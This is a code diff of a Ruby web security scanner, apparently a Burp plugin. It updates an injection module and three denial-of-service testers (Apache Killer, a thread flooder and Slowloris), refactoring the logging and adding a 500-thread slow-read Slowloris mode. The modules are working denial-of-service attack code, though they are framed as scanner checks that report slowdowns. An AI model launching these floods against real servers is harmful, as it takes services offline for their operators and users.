bscan 1.4.5 → 2.0.0

data/lib/bscan/modules/injector.rb

@@ -6,9 +6,8 @@ module Injector
 
   def run *args
 
-    @bscan = args[0]
-    @config ||= @bscan.bscan_config
-    @bscan.activity[0]=true
+    @config ||= @bscan_config
+    @activity[0]=true
 
     @prop_pref = 'bscan.injector.'
     @prop_pref += args[2] + '.' if args[2] && args[2].length > 0
@@ -21,19 +20,19 @@ module Injector
     end
     
     url = msg.url.dup.to_s
-    @bscan.Log 2, "#{@mid}run for #{url}"
+    Log 2, "#{@mid}run for #{url}"
     begin
       if (url =~ /([^?]+)\?(.+)/)
         beg = "#{$1}?"
         params = $2
-        @bscan.Log 2, "#{@mid}run BEG: #{beg} PARAMS: #{params} FILE: #{@config[prop('file')]}"
+        Log 2, "#{@mid}run BEG: #{beg} PARAMS: #{params} FILE: #{@config[prop('file')]}"
         injs = open_in_path(@config[prop('file')])
         injs.each_line do |l|
           l.chomp!
           next if (l =~ /^#{COMMENT_START}/ or l.length < 1)
-          @bscan.Log 2, "#{@mid}run injecting: #{l}"
+          Log 2, "#{@mid}run injecting: #{l}"
          
-         @bscan.activity[0]=true
+         @activity[0]=true
 
           do_scan(msg, beg + l, l)       # in parameter name
           do_scan(msg, beg.chop + l, l)  # in  URL
@@ -41,7 +40,7 @@ module Injector
           pos=0
           while (m=params.match(/([^&]+)=([^&]+)/,pos)) 
             trg = beg + params[0..m.begin(2)-1] + l + params[m.end(2)..-1]
-            @bscan.activity[0]=true
+            @activity[0]=true
             do_scan(msg, trg, l)
             pos=m.end(1)+1
           end
@@ -52,8 +51,8 @@ module Injector
       inject_to_body msg if @config['bscan.injector.one.inject_to_body'] == 'true'
       
     rescue Exception => e
-      @bscan.Log 0, "#{@mid}run Exception: #{e.message}"
-      @bscan.Log 0, e.backtrace.join("\n")
+      Log 0, "#{@mid}run Exception: #{e.message}"
+      Log 0, e.backtrace.join("\n")
    end
   end
   
@@ -61,10 +60,10 @@ module Injector
     param = @config[prop('inject_instead_of')]
     a=[]
     if (not param or (a=param.split(':',3)).size < 3)
-        @bscan.Log 0, "#{@mid}inject_to_pattern: 'inject_instead_of' parameter is not valid #{param}"
+        Log 0, "#{@mid}inject_to_pattern: 'inject_instead_of' parameter is not valid #{param}"
         return
     end
-    @bscan.Log 2, "#{@mid}inject_to_pattern input: #{a.join('|')}"
+    Log 2, "#{@mid}inject_to_pattern input: #{a.join('|')}"
     begin
       p,f,proto = Regexp.escape(a[0]), a[1], a[2]
       file = open_in_path(f)
@@ -76,15 +75,15 @@ module Injector
       injs.each_line do |l|
         l.chomp!
         next if (l =~ /^#{COMMENT_START}/ or l.length < 1)
-        @bscan.Log 2, "#{@mid}inject_to_pattern injecting: #{l}"
+        Log 2, "#{@mid}inject_to_pattern injecting: #{l}"
 
         pos = 0
         while (m=req.match(/(#{p}).*?(#{p})/,pos)) 
           r = (req[0..m.begin(1)-1] + l + req[m.end(2)..-1]).gsub /#{p}(.*?)#{p}/,'\1'
 
-          @bscan.Log 2, "#{@mid}inject_to_pattern new req:\n#{r}"
+          Log 2, "#{@mid}inject_to_pattern new req:\n#{r}"
           set_len r
-          @bscan.activity[0]=true
+          @activity[0]=true
           send_req r,proto,l 
           pos=m.end(1)
         end
@@ -92,17 +91,17 @@ module Injector
       injs.close
       
     rescue Exception => e
-        @bscan.Log 0, "#{@mid}inject_to_pattern Exception: #{e.message}"
-        @bscan.Log 0, e.backtrace.join("\n")
+        Log 0, "#{@mid}inject_to_pattern Exception: #{e.message}"
+        Log 0, e.backtrace.join("\n")
     end
     
   end
  
   def inject_to_body msg
     scanf = false
-    @bscan.Log 2, "#{@mid}inject_to_body req: #{msg.req_str}"
+    Log 2, "#{@mid}inject_to_body req: #{msg.req_str}"
     msg.request_headers.each do |a|
-     @bscan.Log 2, "#{@mid}inject_to_body hdr: #{a[0]} #{a[1]}"
+     Log 2, "#{@mid}inject_to_body hdr: #{a[0]} #{a[1]}"
      if a.size > 1 and a[0] =~ /content-type/i and a[1] =~ /application\/x-www-form-urlencoded/i
         scanf = true
         break
@@ -118,21 +117,21 @@ module Injector
       injs.each_line do |l|
         l.chomp!
         next if (l =~ /^#{COMMENT_START}/ or l.length < 1)
-        @bscan.Log 2, "#{@mid}inject_to_body injecting: #{l}"
+        Log 2, "#{@mid}inject_to_body injecting: #{l}"
         pos=start_pos
         while (m=msg.req_str.match(/([^=]+)=([^=]+)/,pos)) 
           req = msg.req_str[0..m.begin(2)-1] + l + msg.req_str[m.end(2)..-1]
           req.sub!(/content-length\s*:\s*\d+/i, "Content-Length: "+(req.length-start_pos).to_s)
-          @bscan.Log 2, "#{@mid}inject_to_body #{pos} #{req}"
-          @bscan.activity[0]=true
+          Log 2, "#{@mid}inject_to_body #{pos} #{req}"
+          @activity[0]=true
           send_req req, msg.getProtocol, l
           pos=m.end(1)+1
         end
       end
       injs.close
     rescue Exception => e
-      @bscan.Log 0, "#{@mid}inject_to_body Exception: #{e.message}"
-      @bscan.Log 0, e.backtrace.join("\n")
+      Log 0, "#{@mid}inject_to_body Exception: #{e.message}"
+      Log 0, e.backtrace.join("\n")
     end
   end
  

data/lib/bscan/modules/kill_apache.rb

@@ -7,9 +7,8 @@ require 'bscan/utils/bscan_helper.rb'
 
 module KillApache
   def run *args
-    @bscan = args[0]
-    @config ||= @bscan.bscan_config
-    @bscan.activity[0]=true
+    @config ||= @bscan_config
+    @activity[0]=true
 
     @prop_pref = 'bscan.kill_apache.'
     @prop_pref += args[2] + '.' if args[2] && args[2].length > 0
@@ -26,7 +25,7 @@ module KillApache
     rtf ||= '10'
     rtf = rtf.to_i
     rpt = @config[prop('req_per_thread')]
-    rpt ||= '1'
+    rpt ||= '10'
     rpt = rpt.to_i
     @rto = @config[prop('read_timeout')]
     @rto ||= '10'
@@ -54,7 +53,7 @@ module KillApache
     end  
     req.sub!(/@@@/,inj)
 
-    @bscan.Log 2, "#{@mid}run input: #{threads} #{rpt} #{rtf} #{host} #{port}\n#{req}"
+    Log 2, "#{@mid}run input: #{threads} #{rpt} #{rtf} #{host} #{port}\n#{req}"
 
     @threadinfo = {}
     threads.times do |t|
@@ -70,16 +69,31 @@ module KillApache
     
     rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads)
 
-    @bscan.Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
+    Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
  
+     threads.times do |t|
+        Thread.new do
+          begin
+            Log 2, "#{@mid}run thread: #{t} #{rpt}"
+          for con in 0..rpt-1
+            send_get_rsp host,port,req,proto,t,con
+          end
+        rescue Exception => e
+           Log 1, "#{@mid}run Exception: #{e.message}"
+           Log 1, e.backtrace.join("\n")
+           Thread.current.exit
+        end
+      end
+   end
+
        # Monitoring thread
-    Thread.new do
+   mont =  Thread.new do
         maxtime=0
         while (true)
           begin 
             sleep 2.5  
             rsp,rt = get_normal_response_time(host, port, nreq, proto, threads)
-            @bscan.Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
+            Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
             maxtime = rt if rt > nrt*rtf && rt > maxtime     
             ex = true
             tnum = 0
@@ -97,39 +111,29 @@ module KillApache
               end
               tnum += 1 if inc_t
             end
-            @bscan.Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep 5 sec"
+            Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep 5 sec"
             break if ex
           rescue Exception => e
-             @bscan.Log 1, "#{@mid}run Exception: #{e.message}"
-             @bscan.Log 1, e.backtrace.join("\n")
+             Log 1, "#{@mid}run Exception: #{e.message}"
+             Log 1, e.backtrace.join("\n")
           end
         end
-        @bscan.Log 1, "#{@mid}run exiting monitor: #{maxtime}"
+        Log 1, "#{@mid}run exiting monitor: #{maxtime}"
         if maxtime > 0
           issue = Issue.new "#{@mid.chop}: Apache Killer succeeded", trg, "Medium", "Firm", req, rsp, 
           "Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}"
-            @bscan.write_issue_state issue
+            write_issue_state issue
           end  
       end
  
-     threads.times do |t|
-        Thread.new do
-          begin
-            @bscan.Log 2, "#{@mid}run thread: #{t} #{rpt}"
-          for con in 0..rpt-1
-            send_get_rsp host,port,req,proto,t,con
-          end
-        rescue Exception => e
-           @bscan.Log 1, "#{@mid}run Exception: #{e.message}"
-           @bscan.Log 1, e.backtrace.join("\n")
-           Thread.current.exit
-        end
-      end
-   end
+
+     mont.join
+     
+
   end
   
   def send_get_rsp host,port,req,proto,t,c
-   @bscan.activity[0]=true
+   @activity[0]=true
    @threadinfo[t][c] = 1
    rsp =''
    s=nil
@@ -144,19 +148,19 @@ module KillApache
       end
       l = s.syswrite(req)
       raise "only #{l} bytes out of #{req.length} written #{t} #{req}" if l != req.length
-      rsp = read_response s
-      @bscan.Log 2, "#{@mid}send_get_rsp succeeded for #{t} #{rsp}"
+      rsp = read_response_socket s
+      Log 2, "#{@mid}send_get_rsp succeeded for #{t} #{rsp}"
     end
    rescue Exception => e
-      @bscan.Log 1, "#{@mid}send_get_rsp failed for #{t} Exception: #{e.message}"
-      @bscan.Log 1, e.backtrace.join("\n")
+      Log 1, "#{@mid}send_get_rsp failed for #{t} Exception: #{e.message}"
+      Log 1, e.backtrace.join("\n")
       @threadinfo[t][c] = nil
    end
 
    begin
       s.close if s
     rescue  Exception => e
-      @bscan.Log 1, "#{@mid}send_get_rsp close for #{t} Exception:  #{e.message}"
+      Log 1, "#{@mid}send_get_rsp close for #{t} Exception:  #{e.message}"
    end  
    @threadinfo[t][c] = 0
 
@@ -168,16 +172,16 @@ module KillApache
     @threadinfo[t] ||= {}
     rsp = ''
     start = Time.now
-    @bscan.activity[0]=true
+    @activity[0]=true
     begin
       rsp = send_get_rsp host,port,req,proto,t,0
     rescue Exception => e
-        @bscan.Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
+        Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
     end  
     [rsp,Time.now - start]
   end
 
-  def read_response s
+  def read_response_socket s
       rsp=''
       begin
         while (ch=s.sysread(1))

data/lib/bscan/modules/many_threads.rb

@@ -3,10 +3,9 @@ require 'bscan/utils/bscan_helper.rb'
 module ManyThreads
 
   def run *args
-    @bscan = args[0]
-    @config ||= @bscan.bscan_config
+    @config ||= @bscan_config
     
-    @bscan.activity[0]=true
+    @activity[0]=true
 
     @prop_pref = 'bscan.many_threads.'
     @prop_pref += args[2] + '.' if args[2] && args[2].length > 0
@@ -15,12 +14,12 @@ module ManyThreads
     param = @config[prop('request')]
     a=[]
     if (not param or (a=param.split(':',3)).size < 2)
-        @bscan.Log 0, "#{@mid}run: 'request' parameter is not valid #{param}, it should be 'request.txt:protocol[:repeater]'"
+        Log 0, "#{@mid}run: 'request' parameter is not valid #{param}, it should be 'request.txt:protocol[:repeater]'"
         return
     end
     threads = @config[prop('threads')]
     threads ||= '10'
-    @bscan.Log 2, "#{@mid}run input: #{a.join('|')} #{threads}"
+    Log 2, "#{@mid}run input: #{a.join('|')} #{threads}"
 
     threads = threads.to_i
 
@@ -40,13 +39,13 @@ module ManyThreads
       file.close
       threads.times do
         Thread.new() {
-        @bscan.activity[0]=true
+        @activity[0]=true
          send_req req, proto, '' 
         }
       end
     rescue Exception => e
-        @bscan.Log 0, "#{@mid}run Exception: #{e.message}"
-        @bscan.Log 0, e.backtrace.join("\n")
+        Log 0, "#{@mid}run Exception: #{e.message}"
+        Log 0, e.backtrace.join("\n")
     end
   end
 end

data/lib/bscan/modules/slowloris.rb

@@ -1,3 +1,4 @@
+require "java"
 require "socket"
 require "thread"
 require "openssl"
@@ -5,39 +6,25 @@ require "openssl"
 require 'bscan/utils/bscan_helper.rb'
 
 module Slowloris
+  
   def run *args
-    @bscan = args[0]
-    @config ||= @bscan.bscan_config
-    @bscan.activity[0]=true
 
     @prop_pref = 'bscan.slowloris.'
     @prop_pref += args[2] + '.' if args[2] && args[2].length > 0
     @mid = args[2]?"Slowloris.#{args[2]}.":'Slowloris.' 
     begin
-      proto = @config[prop('protocol')]
-      proto ||= 'http'
-      
-      threads = @config[prop('threads')]
-      threads ||= '20'
-      threads = threads.to_i
-
-      rtf = @config[prop('response_time_factor')]
-      rtf ||= '5'
-      rtf = rtf.to_i
-      slt = @config[prop('sleep_time')]
-      slt ||= '100'
-      slt = slt.to_i
-      cn = @config[prop('con_nbr_per_thread')]
-      cn ||= 50
-      cn = cn.to_i
-      ppc = @config[prop('pack_per_con')]
-      ppc ||= 5
-      ppc = ppc.to_i
       
-      http_method = @config[prop('method')]
-      http_method ||= 'GET'
+      dlw =   get_par 'delay_on_write',true
+      proto = get_par 'protocol', 'http'
+      threads = get_par 'threads', dlw ? 500:20
+      rtf =   get_par 'response_time_factor',5
+      slt =   get_par 'sleep_time', dlw ? 5:100
+      cn =    get_par 'con_per_thread', dlw ? 1:50
+      ppc =   get_par 'pack_per_con', dlw ? 50:5
+      hli =   get_par 'health_check_int', 2
+      http_method = get_par 'method', 'POST'
+      req = @bscan_config[prop('request')]
 
-     req = @config[prop('request')]
       nreq = nil
       if req
         file = open_in_path(req)
@@ -46,7 +33,7 @@ module Slowloris
         file.close
         nreq = req
       else
-        host = @config[prop('hostport')]
+        host = get_par 'hostport',''
         host,port = host.split(':') if host
         raise "Either 'host' and 'port' or 'request' params must be set" if !host or !port
         req = "#{http_method} /@@@ HTTP/1.1\r\n" +
@@ -61,7 +48,7 @@ module Slowloris
       end
  
 
-      @bscan.Log 2, "#{@mid}run input: #{threads} #{cn} #{ppc} #{rtf} #{slt} #{host} #{port}\n#{req}"
+      Log 2, "#{@mid}run input: #{threads} #{cn} #{ppc} #{rtf} #{slt} #{host} #{port} #{proto} #{dlw}\n#{req}"
 #      rsp,nrt = get_normal_response_time nreq,proto
       @threadinfo = {}
       trg,host,port = get_url_host_port req,proto
@@ -69,17 +56,56 @@ module Slowloris
       @infom ||= Mutex.new
       
       rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads)
-      @bscan.Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
+      Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
  
+      threads.times do |t|
+
+          @infom.lock
+          @threadinfo[t] = {}
+          @infom.unlock
+          
+          for con in 0..cn-1
+            @infom.lock
+            @threadinfo[t][con]=nil if not @threadinfo[t][con] # need to add keys if they are not there yet
+            @infom.unlock
+          end
+
+          Thread.new do
+            begin
+              Log 2, "#{@mid}run thread: #{t} #{cn}"
+              if (!dlw)
+                make_conns cn,host,port,req,proto,t
+                for pcnt in 0..ppc-1 
+                      Log 2, "#{@mid}run after sleep: #{t} #{cn}"
+                      for con in 0..cn-1
+                        send_more host,port,proto,t,con
+                      end
+                      sleep slt
+                end
+              else
+                for pcnt in 0..ppc-1 
+                  Log 2, "#{@mid}run sending pack #{pcnt}: #{t} #{cn}"
+                  for con in 0..cn-1
+                    send_slow host,port,nreq,proto,t,con,true,slt
+                  end
+                end
+              end
+            raise Exception => e
+               Log 1, "#{@mid}run Exception: #{e.message}"
+               Log 1, e.backtrace.join("\n")
+               Thread.current.exit
+            end
+          end
+      end
+
        # Monitoring thread
-      Thread.new do
+      mont = Thread.new do
           maxtime=0
           while (true)
             begin 
-              dl = slt/10
-              sleep dl < 10 ? 10 : dl  
+              sleep hli 
               rsp,rt = get_normal_response_time(host, port, nreq, proto, threads)
-              @bscan.Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
+              Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
               maxtime = rt if rt > nrt*rtf && rt > maxtime     
               ex = true
               tnum = 0
@@ -95,61 +121,29 @@ module Slowloris
                 end
                 tnum += 1 if inc_t
               end
-              @bscan.Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep #{slt/4} sec"
+              Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep #{hli} sec"
               break if ex
             rescue Exception => e
-               @bscan.Log 1, "#{@mid}run Exception: #{e.message}"
-               @bscan.Log 1, e.backtrace.join("\n")
+               Log 1, "#{@mid}run Exception: #{e.message}"
+               Log 1, e.backtrace.join("\n")
             end
           end
-          @bscan.Log 1, "#{@mid}run exiting monitor: #{maxtime}"
+          Log 2, "#{@mid}run exiting monitor: #{maxtime}"
           if maxtime > 0
-            issue = Issue.new "#{@mid.chop}: Slowloris succeeded", trg, "Medium", "Firm", req, rsp, 
+            issue = Issue.new "#{@mid.chop}: Slowloris succeeded", trg, "Medium", "Firm", dlw ? nreq:req, rsp, 
             "Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}"
-            @bscan.write_issue_state issue
+            write_issue_state issue
           end  
+          close_all
       end
-
- 
  
+      mont.join()
  
- 
-      threads.times do |t|
-
-          @infom.lock
-          @threadinfo[t] = {}
-          @infom.unlock
-          
-          for con in 0..cn-1
-            @infom.lock
-            @threadinfo[t][con]=nil if not @threadinfo[t][con] # need to add keys if they are not there yet
-            @infom.unlock
-          end
-
-          Thread.new do
-            begin
-              @bscan.Log 2, "#{@mid}run thread: #{t} #{cn}"
-              make_conns cn,host,port,req,proto,t
-              for pcnt in 0..ppc-1 
-                    @bscan.Log 2, "#{@mid}run after sleep: #{t} #{cn}"
-                    for con in 0..cn-1
-                      send_more host,port,proto,t,con
-                    end
-                    sleep slt
-              end
-            raise Exception => e
-               @bscan.Log 1, "#{@mid}run Exception: #{e.message}"
-               @bscan.Log 1, e.backtrace.join("\n")
-               Thread.current.exit
-            end
-          end
-      end
-      close_all
       
     
     rescue Exception => e
-      @bscan.Log 0, "#{@mid}run Exception: #{e.message}"
-      @bscan.Log 0, e.backtrace.join("\n")
+      Log 0, "#{@mid}run Exception: #{e.message}"
+      Log 0, e.backtrace.join("\n")
     end
   end
   def update_info t,con,val
@@ -169,11 +163,11 @@ module Slowloris
     end
   end
 
-  def make_conns nbr,host,port,req,proto,t
-    @bscan.Log 2, "#{@mid}make_conns: #{t}  #{nbr}"
+  def make_conns nbr,host,port,req,proto,t,readto=0
+    Log 2, "#{@mid}make_conns: #{t}  #{nbr}"
     nbr.times do |con| 
-      @bscan.Log 2, "#{@mid}make_conns connection: #{t}  #{con}"
-      send_slow host,port,req,proto,t,con
+      Log 2, "#{@mid}make_conns connection: #{t}  #{con}"
+      send_slow host,port,req,proto,t,con,true,readto
     end 
   end
 
@@ -181,18 +175,19 @@ module Slowloris
     send_slow host,port,"Connection: Keep-Alive\r\n",proto,t,con,false
   end
 
-  def send_slow host,port,req,proto,t,con,reopen=true
-   @bscan.activity[0]=true
+  def send_slow host,port,req,proto,t,con,reopen=true,readto=0
+#   @bscan.activity[0]=true
    begin
       s = @threadinfo[t][con]
       rndr = random_url(req)
 
       if !s || s.closed? || s.syswrite(rndr) != rndr.length
         s.close if s && !s.closed?
-        raise "can't send more, connection closed  #{host} #{port} #{t} #{con}" if not reopen
+        raise "can't send more, connection closed  #{host} #{port} #{t} #{con} #{readto}" if not reopen
           
-        @bscan.Log 2, "#{@mid}send_slow new socket #{host} #{port} #{t} #{con}"
         s = TCPSocket.new(host, port)
+        Log 2, "#{@mid}send_slow new socket #{host} #{port} #{t} #{con} #{readto}"
+#        Log 2, "#{@mid}send_slow socket# #{`netstat -n | wc -l`.chomp}"
         if (proto =~ /https/i)
           ctx = OpenSSL::SSL::SSLContext.new
           ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE 
@@ -202,10 +197,15 @@ module Slowloris
         update_info t,con,s
       end
       s.syswrite(rndr)
-      @bscan.Log 2, "#{@mid}send_slow succeeded for  #{t} #{con} #{rndr}"
-      @bscan.Log 2, "#{@mid}send_slow send_more #{t} #{con}" if !reopen
+      Log 2, "#{@mid}send_slow succeeded for  #{t} #{con} #{rndr}"
+      Log 2, "#{@mid}send_slow send_more #{t} #{con}" if !reopen
+      if readto > 0
+        rsp = read_response s,readto
+        Log 2, "#{@mid}send_slow rsp #{t} #{con}\n#{rsp}"
+      end
     rescue Exception => e
-      @bscan.Log 1, "#{@mid}send_slow failed for #{t} #{con}: #{e.message}"
+      Log 1, "#{@mid}send_slow failed for #{t} #{con}: #{e.message} #{e.to_s}"
+      Log 1, e.backtrace.join("\n")
       begin
         s.close
       rescue
@@ -222,7 +222,7 @@ module Slowloris
     @threadinfo[t] ||= {}
     rsp = ''
     start = Time.now
-    @bscan.activity[0]=true
+#    @bscan.activity[0]=true
     req = random_url req
     begin
       send_slow host,port,req,proto,t,0
@@ -232,7 +232,7 @@ module Slowloris
       end
       rsp = read_response s
     rescue Exception => e
-        @bscan.Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
+        Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
     end  
     begin
       s.close
@@ -242,22 +242,37 @@ module Slowloris
     [rsp,Time.now - start]
   end
 
-  def read_response s
+  def read_response s,to=0
       rsp=''
-      while (ch=s.sysread(1))
-        rsp += ch
-        if rsp =~ /Content-Length\s*:\s*(\d+)\r?\n$/i
-          len = $1.to_i
-          while (c=s.sysread(1))
-            rsp += c
-            if rsp[-4..-1] == "\r\n\r\n" || rsp[-2..-1] == "\n\n"
-              rsp += s.sysread(len)
-              break
-            end  
+      begin
+        while (ch=s.sysread(1))
+          rsp += ch
+          return rsp if msg_end rsp
+          if rsp =~ /Content-Length\s*:\s*(\d+)\r?\n$/i
+            len = $1.to_i
+            while (c=s.sysread(1))
+              rsp += c
+              if msg_end rsp
+                break if len <= 0
+                if (to <= 0)
+                  rsp += s.sysread(len)
+                else
+                  Log 2, "#{@mid}read_response len #{len} #{to} #{Float(to)/len}"
+                  len.times do |n|
+                    rsp += s.sysread(1)
+                    sleep Float(to)/len
+                  end                
+                end
+                break
+              end  
+            end
+            break  
           end
-          break  
         end
-      end
+    rescue Exception => e
+      Log 1, "#{@mid}read_response Exception #{e.message}\n#{rsp}"
+      Log 1, e.backtrace.join("\n")
+    end
       rsp
   end  
 end